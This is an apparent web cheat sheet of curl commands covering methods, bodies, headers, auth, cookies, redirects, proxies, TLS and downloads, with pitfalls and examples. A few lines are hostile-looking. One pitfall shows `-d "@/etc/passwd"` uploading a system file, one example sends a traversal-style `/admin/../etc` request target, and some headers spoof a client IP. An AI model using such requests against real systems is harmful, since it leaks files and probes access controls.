Skip to main content

curl Cheatsheet — 80+ Commands for GET, POST, Auth, Upload, Download, SSL, and Proxy

curl cheat sheet — 80+ curl commands for GET/POST/auth/upload/download/SSL/proxy, with real examples and pitfalls.

  • Runs locally
  • Category Developer & DevOps
  • Best for Checking file type, size, metadata, and obvious mismatch signals before sharing.
162 commands
Basic (14)
curl <url>

Make a plain GET request and dump the response body to stdout.

Common pitfall: Default does NOT follow redirects — a 301/302 prints the tiny redirect HTML and stops. Add -L when you actually want the final body.

Examples
curl https://example.com
curl http://localhost:3000/api/health
curl -X <METHOD> <url>

Explicitly set the HTTP method. Most useful for DELETE / PUT / PATCH / OPTIONS.

Common pitfall: `-X POST` alone sends NO body. People stare at empty server-side payload for hours. Add -d / -F / --data-raw together.

Examples
curl -X DELETE https://api.example.com/users/42
curl -X PUT -d '{"name":"Lei"}' -H "Content-Type: application/json" https://api.example.com/u/1
curl -i <url>

Include the response headers in the printed output (status line + headers + blank line + body).

Examples
curl -i https://example.com
curl -i -X POST -d 'k=v' https://httpbin.org/post
curl -I <url>

Send a HEAD request and print only the response headers — no body.

Common pitfall: -I forces a HEAD method. Some servers respond differently to HEAD vs GET (or 405 it). For "GET but show headers", use -i instead.

Examples
curl -I https://example.com
curl -I -L https://bit.ly/short  # see the whole redirect chain
curl -v <url>

Verbose mode — prints the request line, request headers, response headers, TLS info, and SSL cert chain to stderr.

Common pitfall: Verbose output goes to STDERR, not stdout. To pipe to grep use `2>&1`: `curl -v ... 2>&1 | grep -i set-cookie`.

Examples
curl -v https://example.com
curl -v https://example.com 2>&1 | grep -E "^(>|<)"
curl -s <url>

Silent mode — suppress the progress meter and most error messages. Pairs well with scripts.

Common pitfall: `-s` also silences real errors. Pair with `-S` to still see errors: `curl -sS …`. Otherwise a 500 silently returns empty.

Examples
curl -s https://api.example.com/health
curl -sS https://api.example.com/health | jq .
curl -o <file> <url>

Write the response body to <file> instead of stdout (you choose the name).

Examples
curl -o page.html https://example.com
curl -o image.png https://example.com/img.png
curl -O <url>

Save the file using the remote filename (the last path segment of the URL).

Common pitfall: If the server redirects (e.g. /latest → /v1.2.3/foo.zip) you get a file literally named "latest". Add -L -J to honor Content-Disposition.

Examples
curl -O https://example.com/files/setup.dmg
curl -OL https://github.com/owner/repo/releases/latest/download/foo.zip
curl --output-dir <dir>

Combine with -O / -o to drop the downloaded file into a target directory (curl 7.73+).

Examples
curl --output-dir ./downloads -O https://example.com/foo.zip
curl --create-dirs --output-dir ./out/v1 -O https://example.com/foo.zip
curl --version

Print the curl version, the TLS / SSH backend it was built with, and the list of supported protocols and features.

Common pitfall: The "Features:" line tells you whether your build has HTTP2, HTTP3, brotli, etc. If a flag fails, check here before blaming the flag.

Examples
curl --version
curl --version | grep -i http2
curl -sS -f <url>

The script-safe combo: -s hides the progress bar, -S keeps real errors, -f makes curl exit non-zero on HTTP 4xx/5xx instead of printing the error page.

Common pitfall: -f swallows the response body on error, so you lose the error JSON. Use --fail-with-body (curl 7.76+) to fail AND still print the body.

Examples
curl -sSf https://api.example.com/health || echo down
curl -sS --fail-with-body https://api.example.com/x
curl -g "<url-with-brackets>"

Turn OFF URL globbing so literal [ ] { } in the URL (e.g. IPv6 addresses or query params) are sent as-is instead of being treated as glob ranges.

Common pitfall: An IPv6 URL like http://[::1]:8080/ needs -g, otherwise curl tries to expand the brackets and errors out.

Examples
curl -g "http://[::1]:8080/health"
curl -g "https://example.com/search?q=a[1]b"
curl --url <url>

Pass the target URL via an explicit flag instead of as a bare argument. Handy in config files where every line is one flag.

Examples
curl --url https://api.example.com/items -H "Accept: application/json"
curl --url https://example.com --output page.html
curl -# -O <url>

Replace the default per-line progress meter with a single moving progress bar. Nicer for interactive downloads.

Examples
curl -# -O https://example.com/big.iso
curl --progress-bar -O https://example.com/file.zip
HTTP method (11)
curl <url> # GET

curl defaults to GET when no method or body flag is given. Most common one-liner you will ever type.

Examples
curl https://api.github.com/users/torvalds
curl -s https://api.example.com/items?page=2 | jq .
curl -X POST -d <body> <url>

Send a POST with a request body. With -d the Content-Type defaults to application/x-www-form-urlencoded.

Common pitfall: For JSON you MUST set the header: `-H "Content-Type: application/json"`. Many APIs 415 you otherwise because they treat it as form data.

Examples
curl -X POST -d "user=lei&pwd=123" https://api.example.com/login
curl -X POST -H "Content-Type: application/json" -d '{"q":"hi"}' https://api.example.com/chat
curl -X PUT -d <body> <url>

Replace the resource at <url> with the supplied body. Common for REST update endpoints.

Examples
curl -X PUT -H "Content-Type: application/json" -d '{"name":"Lei","age":30}' https://api.example.com/users/1
curl -X PATCH -d <body> <url>

Send a partial update. The body contains only the fields you want to change.

Examples
curl -X PATCH -H "Content-Type: application/json" -d '{"name":"Lei"}' https://api.example.com/users/1
curl -X DELETE <url>

Delete the resource at <url>. Most APIs require auth headers.

Examples
curl -X DELETE -H "Authorization: Bearer $TOKEN" https://api.example.com/users/42
curl -X HEAD <url>

Send a HEAD — same as -I, only headers, no body. Faster than GET when you only want metadata.

Common pitfall: Use `-I` instead of `-X HEAD` — the latter still triggers a body read internally on some servers and can hang. Native HEAD is `-I`.

Examples
curl -I https://example.com/big.iso
curl -I https://example.com/big.iso | grep -i length
curl -X OPTIONS <url>

Preflight an endpoint to see which methods and CORS headers it allows.

Examples
curl -X OPTIONS -i -H "Origin: https://app.example.com" -H "Access-Control-Request-Method: POST" https://api.example.com/items
curl --request-target <path> <url>

Override the request-target on the request line independently of the URL. Lets you send odd targets like a raw "*" for OPTIONS.

Examples
curl --request-target "*" -X OPTIONS https://example.com
curl --request-target "/admin/../etc" https://example.com
curl -X PROPFIND <url>

WebDAV PROPFIND — list properties / directory contents on a WebDAV server. Pair with a Depth header.

Examples
curl -X PROPFIND -H "Depth: 1" -u user:pass https://dav.example.com/files/
curl -G --data-urlencode <kv> <url>

Force a GET and append the --data fields to the URL query string (URL-encoded) instead of sending them as a POST body.

Common pitfall: Without -G, --data-urlencode triggers a POST. -G is what lets you build a safely-encoded GET query from key=value pairs.

Examples
curl -G --data-urlencode "q=hello world" --data-urlencode "lang=zh" https://example.com/search
curl -G -d "page=2" -d "limit=20" https://api.example.com/items
curl -X REPORT <url> # custom method

curl sends whatever method string you pass to -X verbatim, including non-standard ones like REPORT, PURGE, or LINK.

Examples
curl -X PURGE https://cdn.example.com/path/to/asset.js  # cache purge
curl -X REPORT -H "Content-Type: application/xml" -d @query.xml https://cal.example.com/
Request body (12)
curl -d <data> <url>

Send a POST with a body. -d implies POST, sets Content-Type to application/x-www-form-urlencoded, and strips newlines.

Common pitfall: -d strips newlines. If you need to preserve them (sending raw JSON / multi-line text) use --data-binary or --data-raw.

Examples
curl -d "name=lei&job=dev" https://httpbin.org/post
curl -d '{"k":"v"}' -H "Content-Type: application/json" https://httpbin.org/post
curl --data-raw <data> <url>

Like -d but do NOT do @file expansion — the leading @ is treated as a literal character.

Common pitfall: `-d "@/etc/passwd"` would try to upload the file content. Use --data-raw to safely send strings starting with @.

Examples
curl --data-raw '@username=lei' https://httpbin.org/post
curl --data-binary @<file> <url>

Send the exact bytes of a file as the request body. No newline stripping, no URL encoding.

Examples
curl --data-binary @payload.json -H "Content-Type: application/json" https://api.example.com/ingest
curl --data-binary @dump.sql -H "Content-Type: application/sql" https://db.example.com/exec
curl --data-urlencode <key=value> <url>

URL-encode the value part of a form field before sending. The safest way to send special characters in form bodies.

Common pitfall: Only the part AFTER the `=` is encoded. `--data-urlencode "q=a b&c"` becomes `q=a%20b%26c`. To encode both sides use the @file form.

Examples
curl --data-urlencode "q=hello world&lang=zh-CN" https://example.com/search
curl --data-urlencode "comment@/tmp/long.txt" https://example.com/post
curl -F <name=value> <url>

Build a multipart/form-data POST. Each -F adds one form field. Use @file to upload a file as that field.

Common pitfall: Mixing -F and -d in the same request is invalid. Pick one body style per call.

Examples
curl -F "name=Lei" -F "avatar=@./me.png" https://api.example.com/upload
curl -F "file=@report.pdf;type=application/pdf" https://api.example.com/files
curl --form-string <name=value> <url>

Like -F but the value is always literal — no @file or <file special handling.

Examples
curl --form-string "comment=@anchor is just text" https://api.example.com/post
curl -d @<file> <url>

Read the request body from a file. Whitespace newlines are stripped (use --data-binary @ to preserve them).

Common pitfall: The leading `@` is the magic — `-d "/tmp/a.json"` sends the LITERAL path string. `-d "@/tmp/a.json"` sends the file content.

Examples
curl -d @payload.json -H "Content-Type: application/json" https://api.example.com/items
curl --data-binary @bigdump.bin https://api.example.com/upload
curl --json <data> <url>

Shorthand (curl 7.82+) for sending a JSON body: sets Content-Type AND Accept to application/json and POSTs the data. Equivalent to -d + two -H.

Common pitfall: --json does NOT url-encode and implies POST. Repeating --json concatenates the chunks, so you can split a body across flags or read from @file.

Examples
curl --json '{"q":"hi"}' https://api.example.com/chat
curl --json @payload.json https://api.example.com/ingest
curl -F "data=@<file>;type=<mime>;filename=<name>" <url>

Multipart upload with explicit MIME type AND a custom filename, overriding the on-disk name the server would otherwise see.

Examples
curl -F "data=@/tmp/x.bin;type=application/json;filename=backup.json" https://api.example.com/files
curl -F "field=<<file>" <url>

Multipart field whose VALUE is read from a file (the `<` form), but sent as a normal text field, not as a file upload attachment.

Common pitfall: `@file` uploads as a file part (with filename + binary). `<file` inlines the file content as the text value of the field. Different parts on the wire.

Examples
curl -F "comment=<note.txt" https://api.example.com/post
curl --data-urlencode "@<file>" <url>

URL-encode the ENTIRE file content and send it as the body. Unlike `key@file`, no field name is prepended.

Common pitfall: `--data-urlencode "name@file"` encodes the file as the value of `name`. `--data-urlencode "@file"` encodes the file with no key at all.

Examples
curl --data-urlencode "@message.txt" https://example.com/post
curl -d "" <url> # empty POST

Send a POST with an empty (zero-length) body. Some APIs require an explicit empty POST to trigger an action.

Common pitfall: This is the correct way to POST nothing — unlike `-X POST` alone, `-d ""` actually sets Content-Length: 0 and the POST method together.

Examples
curl -d "" https://api.example.com/jobs/42/retry
curl -d "" -H "Authorization: Bearer $TOKEN" https://api.example.com/refresh
Headers (11)
curl -H <header> <url>

Add a custom request header. Repeat -H for each additional header.

Common pitfall: Headers with empty values: `-H "X-Foo:"` (just colon) REMOVES a header curl would otherwise send. `-H "X-Foo;"` sends it empty.

Examples
curl -H "Content-Type: application/json" -d '{}' https://api.example.com/x
curl -H "X-API-Key: $KEY" -H "Accept: application/json" https://api.example.com/x
curl -A <user-agent> <url>

Set the User-Agent header. Some sites 403 the default `curl/8.x` UA.

Examples
curl -A "Mozilla/5.0" https://example.com
curl -A "MyBot/1.0 (+https://my.site)" https://api.example.com
curl -e <referer> <url>

Set the Referer header. Useful when an endpoint validates Referer for CSRF or hotlink protection.

Examples
curl -e "https://example.com/page" https://example.com/api/x
curl -e ";auto" -L https://example.com/redirect-chain
curl -H "Accept: application/json" <url>

Tell the server you want JSON back. Many APIs branch their response format on this header.

Examples
curl -H "Accept: application/json" https://api.github.com/repos/cli/cli
curl -H "Accept: application/vnd.api+json" https://api.example.com/items
curl -H "Accept-Encoding: gzip" --compressed <url>

`--compressed` advertises gzip/deflate/br support AND automatically decompresses the response.

Common pitfall: Without --compressed, the server may send gzip but curl prints the raw compressed bytes — looks like garbage in the terminal.

Examples
curl --compressed https://api.example.com/large.json | jq .
curl -H "Accept-Encoding: br" --compressed https://example.com
curl -H "X-Forwarded-For: 1.2.3.4" <url>

Spoof a client IP header — useful for testing CDN / WAF / rate-limit by IP.

Examples
curl -H "X-Forwarded-For: 203.0.113.1" https://api.example.com/whoami
curl -H "X-Real-IP: 10.0.0.5" https://app.example.com/ip
curl -H "Content-Type: application/json" -d <json> <url>

The canonical JSON POST before --json existed: explicitly declare the body type so the server parses it as JSON, not form data.

Examples
curl -H "Content-Type: application/json" -d '{"name":"Lei"}' https://api.example.com/u
curl -H "Content-Type: application/json" -d @body.json https://api.example.com/ingest
curl -H "If-None-Match: <etag>" <url>

Conditional GET by ETag. The server returns 304 Not Modified (empty body) if the resource still matches that ETag.

Common pitfall: ETags are quoted strings — keep the surrounding quotes: `If-None-Match: "abc123"`. Weak ETags carry a W/ prefix.

Examples
curl -i -H 'If-None-Match: "abc123"' https://example.com/api/items
curl -i -H 'If-Modified-Since: Wed, 21 Oct 2026 07:28:00 GMT' https://example.com/x
curl -H "Range: bytes=0-1023" <url>

Request only a byte range via the Range header (the explicit-header equivalent of -r). Server replies 206 Partial Content.

Examples
curl -i -H "Range: bytes=0-1023" https://example.com/big.iso
curl -H "Range: bytes=500-999" -o chunk.bin https://example.com/file
curl -H "Host: <vhost>" --resolve ... <url>

Override the Host header to test a specific virtual host on a server, while pinning the IP with --resolve.

Common pitfall: For HTTPS, the TLS SNI comes from the URL hostname, not the Host header. To also override SNI use --connect-to or put the real name in the URL.

Examples
curl -H "Host: staging.example.com" --resolve staging.example.com:443:10.0.0.5 https://staging.example.com/
curl -H "Authorization:" <url>

A header with a name and a colon but NO value REMOVES a header curl would otherwise auto-add (e.g. an Authorization curl built from -u).

Common pitfall: Three forms: `X-Foo: bar` sets it, `X-Foo:` (colon only) removes it, `X-Foo;` (semicolon) sends it with an empty value.

Examples
curl -H "User-Agent:" https://example.com  # send no UA at all
curl -H "Accept:" https://example.com  # drop the default Accept
Auth (12)
curl -u <user>:<pass> <url>

HTTP Basic auth — sets the Authorization: Basic header with base64(user:pass).

Common pitfall: Basic auth over plain HTTP sends creds in cleartext (base64 ≠ encryption). Only use over HTTPS.

Examples
curl -u admin:secret https://api.example.com/private
curl -u "$USER" https://api.example.com  # prompts for password
curl -H "Authorization: Bearer <token>" <url>

OAuth 2 / JWT bearer token auth — the standard for modern API auth.

Common pitfall: Tokens on the command line end up in shell history. Use `-H "Authorization: Bearer $TOKEN"` with TOKEN from env.

Examples
curl -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/user
curl -H "Authorization: Bearer eyJhbGciOi..." https://api.example.com/me
curl --digest -u <user>:<pass> <url>

HTTP Digest auth — challenge-response, safer than Basic since password is never sent.

Examples
curl --digest -u admin:secret https://intranet.example.com/api
curl --digest -u admin https://router.local/cgi-bin/config
curl --ntlm -u <user>:<pass> <url>

Windows NTLM auth — for old IIS / SharePoint / Exchange endpoints.

Common pitfall: NTLM keeps a stateful connection — combine with --anyauth if you do not know which scheme the server requires.

Examples
curl --ntlm -u "DOMAIN\user:pass" https://intranet.example.com/sharepoint
curl --anyauth -u <user>:<pass> <url>

Let curl pick the strongest auth scheme the server offers (Basic / Digest / NTLM / Negotiate).

Examples
curl --anyauth -u admin:secret https://intranet.example.com/api
curl --negotiate -u : <url>

GSS-API / Kerberos / SPNEGO auth — `-u :` means use current ticket from kinit.

Examples
kinit lei@CORP.EXAMPLE.COM
curl --negotiate -u : https://intranet.corp.example.com/api
curl --aws-sigv4 <provider> -u <key>:<secret> <url>

Sign the request with AWS SigV4 — talk to S3 / DynamoDB / any AWS API without the SDK.

Examples
curl --aws-sigv4 "aws:amz:us-east-1:s3" -u "$AWS_KEY:$AWS_SECRET" https://my-bucket.s3.us-east-1.amazonaws.com/key.txt
curl --oauth2-bearer <token> <url>

Dedicated flag for OAuth 2 bearer tokens. Equivalent to `-H "Authorization: Bearer <token>"` but reads cleaner in scripts.

Examples
curl --oauth2-bearer "$TOKEN" https://api.example.com/me
curl --oauth2-bearer "$GITHUB_TOKEN" https://api.github.com/user
curl -u <user>:<pass> --basic <url>

Force HTTP Basic auth explicitly (this is the default for -u). Useful to override a config that set a different auth scheme.

Examples
curl --basic -u admin:secret https://api.example.com/private
curl -u "<user>:" <url> # prompt for password

Pass only the username; curl prompts interactively for the password so it never lands in shell history or the process list.

Common pitfall: Note the trailing colon. `-u user` (no colon) still prompts. `-u user:` (with colon) means an empty password and does NOT prompt.

Examples
curl -u admin https://api.example.com/private  # prompts
curl -H "Authorization: token <pat>" <url> # GitHub PAT

GitHub historically accepted `Authorization: token <PAT>` for personal access tokens. Modern GitHub also accepts the standard Bearer scheme.

Examples
curl -H "Authorization: token $GH_PAT" https://api.github.com/user/repos
curl -H "Authorization: Bearer $GH_PAT" https://api.github.com/user
curl --netrc <url>

Read credentials from ~/.netrc keyed by hostname, so the username and password stay out of the command line entirely.

Common pitfall: chmod 600 your ~/.netrc or curl ignores it for security. Use --netrc-file to point at a custom location.

Examples
curl --netrc https://api.example.com/private
curl --netrc-file ./ci.netrc https://api.example.com/x
Cookies (7)
curl -b <name=value> <url>

Send a cookie. Multiple cookies separated by `; ` in one -b, or use multiple -b flags.

Examples
curl -b "session=abc123" https://example.com/me
curl -b "lang=zh; theme=dark" https://example.com/
curl -c <file> <url>

Write all received cookies to <file> (Netscape cookie-jar format). Future requests can `-b` it back.

Common pitfall: The jar overwrites every run. Only contains cookies from THIS response — use both `-b file -c file` to read AND update.

Examples
curl -c cookies.txt -d "u=lei&p=x" https://example.com/login
curl -b cookies.txt -c cookies.txt https://example.com/page2
curl -b <file> -c <file> <url>

Read existing cookies AND save updated ones to the same jar — full browser-like session.

Examples
curl -b jar.txt -c jar.txt -L https://example.com/login
curl -b jar.txt -c jar.txt https://example.com/dashboard
curl --cookie-jar <file> <url>

Long form of -c. Persist any Set-Cookie response headers to <file>.

Examples
curl --cookie-jar session.jar -d "u=lei" https://example.com/login
curl -b "<name=value>" -b "<name2=value2>" <url>

Send multiple cookies by repeating -b. curl merges them into one Cookie request header.

Examples
curl -b "session=abc" -b "csrf=xyz" https://example.com/dashboard
curl --junk-session-cookies -b <file> <url>

Load a cookie jar but DROP session cookies (the ones with no expiry) — simulates starting a brand-new browser session.

Examples
curl --junk-session-cookies -b jar.txt https://example.com/
curl -c - <url> # cookies to stdout

Write the received cookie jar to stdout (the `-` filename) so you can inspect Set-Cookie results without touching disk.

Examples
curl -s -c - -d "u=lei&p=x" https://example.com/login | grep session
Redirects (6)
curl -L <url>

Follow HTTP 3xx redirects to the final URL. Without -L curl prints the tiny redirect body and stops.

Common pitfall: By default -L does NOT re-send Authorization / Cookie headers to a different host. Use --location-trusted if you really need to.

Examples
curl -L https://bit.ly/short-url
curl -LI https://github.com/cli/cli/releases/latest  # see the full chain
curl -L --max-redirs <n> <url>

Cap how many redirects curl will follow. Default is 50, set to 0 to disable, -1 for unlimited.

Examples
curl -L --max-redirs 5 https://example.com/a
curl -L --max-redirs 0 https://example.com/x  # error if any redirect
curl --location-trusted <url>

Like -L, but DO forward the Authorization header when the redirect target is on a different host.

Common pitfall: Sending credentials to an attacker-controlled redirect destination is the whole reason -L drops them by default. Use only with trusted endpoints.

Examples
curl --location-trusted -u admin:secret https://intranet/api/redirect
curl -L --post301 --post302 --post303 <url>

Keep the original method + body across redirects instead of letting curl downgrade POST to GET on a 301/302/303.

Common pitfall: RFC behavior: many clients turn POST into GET on 301/302. These flags force curl to re-POST. 308 / 307 already preserve the method by spec.

Examples
curl -L --post302 -d "k=v" https://example.com/submit
curl -w "%{url_effective}\n" -L -o /dev/null -s <url>

Print the FINAL URL after all redirects without downloading the body. Great for resolving shortened links.

Examples
curl -w "%{url_effective}\n" -L -o /dev/null -s https://bit.ly/short
curl -Ls -o /dev/null -w "%{url_effective}\n" https://t.co/abc
curl -L --proto-redir =https <url>

Restrict which protocols curl will follow a redirect TO. `=https` means: only follow redirects that stay on HTTPS, refuse downgrades to HTTP.

Common pitfall: A 302 from https → http silently leaks your request over plaintext. --proto-redir =https blocks that downgrade attack.

Examples
curl -L --proto-redir =https https://example.com/go
Timeout & retry (9)
curl --connect-timeout <sec> <url>

Maximum seconds allowed for the TCP / TLS handshake. Does NOT bound total transfer time.

Common pitfall: connect-timeout protects against unreachable hosts, but a slow server can still hang for hours. Always pair with --max-time.

Examples
curl --connect-timeout 5 https://api.example.com/health
curl --connect-timeout 3 --max-time 10 https://api.example.com
curl --max-time <sec> <url>

Cap the TOTAL time of the whole operation. Hard stop — connection + transfer combined.

Examples
curl --max-time 30 https://example.com/large.zip
curl --max-time 5 -s https://api.example.com/probe
curl --retry <n> <url>

Retry up to <n> times on transient errors (5xx, connection drops, timeouts).

Common pitfall: Default backoff is 1s doubling. Use --retry-delay <s> for fixed backoff, --retry-max-time to cap total wait.

Examples
curl --retry 5 --retry-delay 2 https://flaky.example.com/api
curl --retry 3 --retry-all-errors --retry-max-time 60 https://example.com
curl --retry-all-errors <url>

Retry on ANY error (not just 5xx/timeout). curl 7.71+. Pairs with --retry.

Examples
curl --retry 5 --retry-all-errors https://example.com/api
curl --keepalive-time <sec> <url>

Send a TCP keepalive probe every <sec>. Helps keep long-lived connections alive through NAT / firewalls.

Examples
curl --keepalive-time 30 https://stream.example.com/events
curl --max-time <sec> --retry <n> --retry-delay <sec> <url>

Combine a hard per-attempt time cap with a fixed-delay retry policy — a robust pattern for flaky upstreams in CI.

Common pitfall: --max-time bounds EACH attempt, not the sum. To cap total time across all retries add --retry-max-time.

Examples
curl --max-time 10 --retry 3 --retry-delay 2 --retry-max-time 40 https://flaky.example.com/api
curl --expect100-timeout <sec> <url>

How long curl waits for a 100-continue response before sending the body anyway. Tune this when a slow server stalls large PUT/POST uploads.

Common pitfall: curl auto-adds `Expect: 100-continue` for large bodies. If the server ignores it, curl waits this timeout (default 1s) then sends anyway.

Examples
curl --expect100-timeout 0.5 -T big.bin https://api.example.com/upload
curl -H "Expect:" -T big.bin https://api.example.com/upload  # disable Expect
curl --retry-connrefused <url>

Also retry on "connection refused" errors, which --retry alone does NOT treat as transient by default. curl 7.52+.

Examples
curl --retry 10 --retry-delay 1 --retry-connrefused http://localhost:8080/health  # wait for a starting server
curl --speed-limit <bytes> --speed-time <sec> <url>

Abort if the transfer stays below <bytes>/s for <sec> seconds. Kills truly-stalled connections that --max-time would let drag on.

Examples
curl --speed-limit 1024 --speed-time 30 -O https://example.com/big.iso
Proxy (9)
curl -x <proxy> <url>

Send the request through an HTTP proxy. Format: [scheme://]host[:port].

Common pitfall: For HTTPS targets, the proxy does CONNECT-tunneling — make sure your proxy allows it. Use http://proxy URL even for HTTPS targets.

Examples
curl -x http://proxy.corp:8080 https://api.example.com
curl -x http://127.0.0.1:7890 https://www.google.com
curl --proxy-user <u>:<p> -x <proxy> <url>

Authenticate to the upstream HTTP proxy with Basic auth.

Examples
curl --proxy-user lei:secret -x http://proxy.corp:8080 https://api.example.com
curl --socks5 <host>:<port> <url>

Route the connection through a SOCKS5 proxy. DNS resolves LOCALLY — use --socks5-hostname for remote DNS.

Common pitfall: `--socks5` leaks DNS through your local resolver. For privacy (e.g. Tor) you almost always want `--socks5-hostname`.

Examples
curl --socks5 127.0.0.1:1080 https://example.com
curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org
curl --noproxy <list> <url>

Comma-separated list of hosts to NOT proxy. `*` means everything (effectively disable proxy).

Examples
curl -x http://proxy:8080 --noproxy "localhost,127.0.0.1,.internal" https://api.internal/x
curl --noproxy "*" https://api.example.com
curl --proxy-insecure -x <proxy> <url>

Allow connecting to an HTTPS proxy with an untrusted / self-signed cert. Like -k but for the proxy hop.

Examples
curl --proxy-insecure -x https://proxy.lab:8443 https://api.example.com
curl --socks5-hostname <host>:<port> <url>

Route through SOCKS5 and resolve DNS on the PROXY side, not locally. The privacy-correct choice for Tor and similar.

Common pitfall: Plain --socks5 leaks DNS through your local resolver. --socks5-hostname keeps the hostname secret from your local network.

Examples
curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org/api/ip
curl --preproxy <socks-proxy> -x <http-proxy> <url>

Chain proxies: go through a SOCKS pre-proxy first, then an HTTP proxy, then to the target. curl 7.52+.

Examples
curl --preproxy socks5://127.0.0.1:1080 -x http://corp-proxy:8080 https://api.example.com
curl --connect-to <h1>:<p1>:<h2>:<p2> <url>

Reroute a connection meant for host1:port1 to host2:port2, while keeping the original Host header AND TLS SNI from the URL.

Common pitfall: Unlike --resolve (which only pins the IP), --connect-to can also change the port and is great for testing through a tunnel.

Examples
curl --connect-to example.com:443:localhost:8443 https://example.com/
curl -x "$HTTPS_PROXY" <url> # honor env proxy

curl already reads http_proxy / https_proxy / all_proxy env vars automatically. Passing -x just makes the intent explicit / overrides them.

Common pitfall: Env proxy var names are lowercase by convention. NO_PROXY (or --noproxy) controls which hosts bypass the proxy.

Examples
export https_proxy=http://127.0.0.1:7890; curl https://api.example.com
curl -x "" https://api.internal/x  # ignore env proxy for this call
SSL / TLS (12)
curl -k <url>

Insecure mode — skip SSL certificate verification. For testing self-signed certs.

Common pitfall: NEVER use -k in production scripts. It defeats TLS — a MITM can intercept silently. Pin a CA with --cacert instead.

Examples
curl -k https://localhost:8443/health
curl -k -v https://self-signed.example.com
curl --cacert <file> <url>

Verify the server cert against a specific CA bundle (PEM). Lets you trust a private CA without -k.

Examples
curl --cacert /etc/ssl/private-ca.pem https://intranet.example.com
curl --cacert ./ca.crt https://localhost:8443
curl --cert <file> --key <file> <url>

Mutual TLS (mTLS) — present a client cert + key. For zero-trust internal APIs.

Common pitfall: If your client key is encrypted, curl will prompt for the password. Use `--key-type` for non-PEM keys.

Examples
curl --cert client.pem --key client.key https://mtls.example.com/api
curl --cert client.p12 --cert-type P12 https://mtls.example.com/api
curl --tlsv1.3 <url>

Force TLS 1.3 minimum. --tlsv1.2 for 1.2 minimum. --tls-max controls the upper bound.

Examples
curl --tlsv1.3 https://example.com
curl --tlsv1.2 --tls-max 1.2 https://legacy.example.com
curl --resolve <host>:<port>:<addr> <url>

Pin a hostname to a specific IP for this request only. Skip DNS entirely.

Common pitfall: Perfect for testing a new server before changing DNS, or hitting a specific node behind a load balancer. SNI is set from the URL hostname, not the IP.

Examples
curl --resolve example.com:443:1.2.3.4 https://example.com
curl --resolve api.example.com:443:10.0.0.5 https://api.example.com/health
curl --cert-status <url>

Verify the server cert via OCSP stapling. Fails the connection if no valid OCSP response is stapled.

Examples
curl --cert-status https://example.com
curl --pinnedpubkey "sha256//<base64>" <url>

Public-key pinning: connect ONLY if the server cert's public key matches the given SHA-256 hash. Stops a rogue-but-valid CA cert.

Common pitfall: Compute the hash with: `openssl x509 -pubkey | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl base64`.

Examples
curl --pinnedpubkey "sha256//base64hash==" https://example.com
curl --ciphers <list> <url>

Restrict the TLS cipher suites curl offers. Needed to talk to legacy servers stuck on old ciphers, or to test a specific suite.

Common pitfall: For TLS 1.3 suites use --tls13-ciphers (a separate flag). `--ciphers DEFAULT@SECLEVEL=1` relaxes OpenSSL's security level for old servers.

Examples
curl --ciphers ECDHE-RSA-AES128-GCM-SHA256 https://example.com
curl --ciphers DEFAULT@SECLEVEL=1 https://legacy.example.com
curl --capath <dir> <url>

Verify against a directory of hashed CA certs (OpenSSL c_rehash layout) instead of a single bundle file.

Examples
curl --capath /etc/ssl/certs https://example.com
curl --tlsv1.2 --tls-max 1.2 <url>

Pin the negotiation to exactly TLS 1.2 (min 1.2 + max 1.2). Useful to reproduce a 1.2-only handshake or sidestep a broken 1.3 path.

Examples
curl --tlsv1.2 --tls-max 1.2 https://legacy.example.com
curl --key-type <PEM|DER|ENG> --key <file> --cert <file> <url>

Tell curl the format of your client private key for mTLS when it is not PEM (e.g. DER, or an engine-backed key).

Examples
curl --cert client.pem --key client.der --key-type DER https://mtls.example.com
curl --insecure --proto "=https" <url>

When you must use -k for a self-signed cert, also lock the protocol to HTTPS so a redirect can't silently push you to plaintext.

Common pitfall: -k already weakens TLS; pairing with --proto "=https" at least guarantees the transport stays encrypted on this call.

Examples
curl -k --proto "=https" https://localhost:8443/health
Download (12)
curl -OJ <url>

-O + -J: save with the filename from Content-Disposition (if present) instead of guessing from URL.

Common pitfall: curl will REFUSE to overwrite an existing file when -J is set. Delete it first or pick -o.

Examples
curl -OJ -L https://example.com/dynamic-download?id=42
curl -OJ -L https://api.example.com/reports/2026-05-26.csv
curl -r <start>-<end> <url>

Range request — fetch only bytes <start> through <end>. Server must support Accept-Ranges.

Examples
curl -r 0-1023 -o head.bin https://example.com/big.iso
curl -r -1024 -o tail.bin https://example.com/big.iso  # last 1KB
curl -C - -O <url>

Resume an interrupted download from where it stopped. `-C -` tells curl to auto-detect the offset.

Common pitfall: Only works if the server supports Range requests. If not, curl re-downloads from start.

Examples
curl -C - -O https://example.com/ubuntu.iso
curl -C - -o partial.zip https://example.com/archive.zip
curl --limit-rate <speed> <url>

Cap the download / upload speed. Suffix with k, m, g (e.g. 500k = 500 KB/s).

Examples
curl --limit-rate 200k -O https://example.com/big.iso
curl --limit-rate 1M -O https://example.com/file.zip
curl --parallel --remote-name-all <url1> <url2> …

Download multiple URLs in parallel (curl 7.66+). --parallel-max sets concurrency.

Examples
curl --parallel --remote-name-all https://example.com/a.zip https://example.com/b.zip
curl --parallel --parallel-max 5 --remote-name-all https://example.com/file[1-20].zip
curl <url>[1-100]

URL globbing — fetch a numeric or letter range in one go. Pairs with -O or --remote-name-all.

Examples
curl -O "https://example.com/img-[1-10].jpg"
curl -O "https://example.com/{us,eu,asia}/data.csv"
curl -z <date|file> <url>

Conditional GET — only download if the remote is newer than the date or local file (If-Modified-Since).

Examples
curl -z "2026-01-01" -o data.json https://example.com/data.json
curl -z data.json -o data.json https://example.com/data.json
curl --remote-time -O <url>

Set the downloaded file's mtime to the server's Last-Modified time instead of "now". Pairs with -z for correct incremental syncs.

Examples
curl --remote-time -O https://example.com/data.json
curl -R -z data.json -o data.json https://example.com/data.json  # -R is short for --remote-time
curl --create-dirs -o <path/to/file> <url>

Create any missing parent directories in the -o output path instead of failing because the folder does not exist.

Examples
curl --create-dirs -o ./cache/v1/data.json https://example.com/data.json
curl --fail-early --parallel --remote-name-all <urls>

In a parallel / multi-URL download, abort the whole batch on the FIRST failure instead of plowing through the rest.

Examples
curl --fail-early --parallel --remote-name-all https://example.com/a.zip https://example.com/b.zip
curl -o "#1.html" "https://example.com/{a,b,c}"

Use #1, #2… in the -o pattern to interpolate the matched glob part into the output filename for batch downloads.

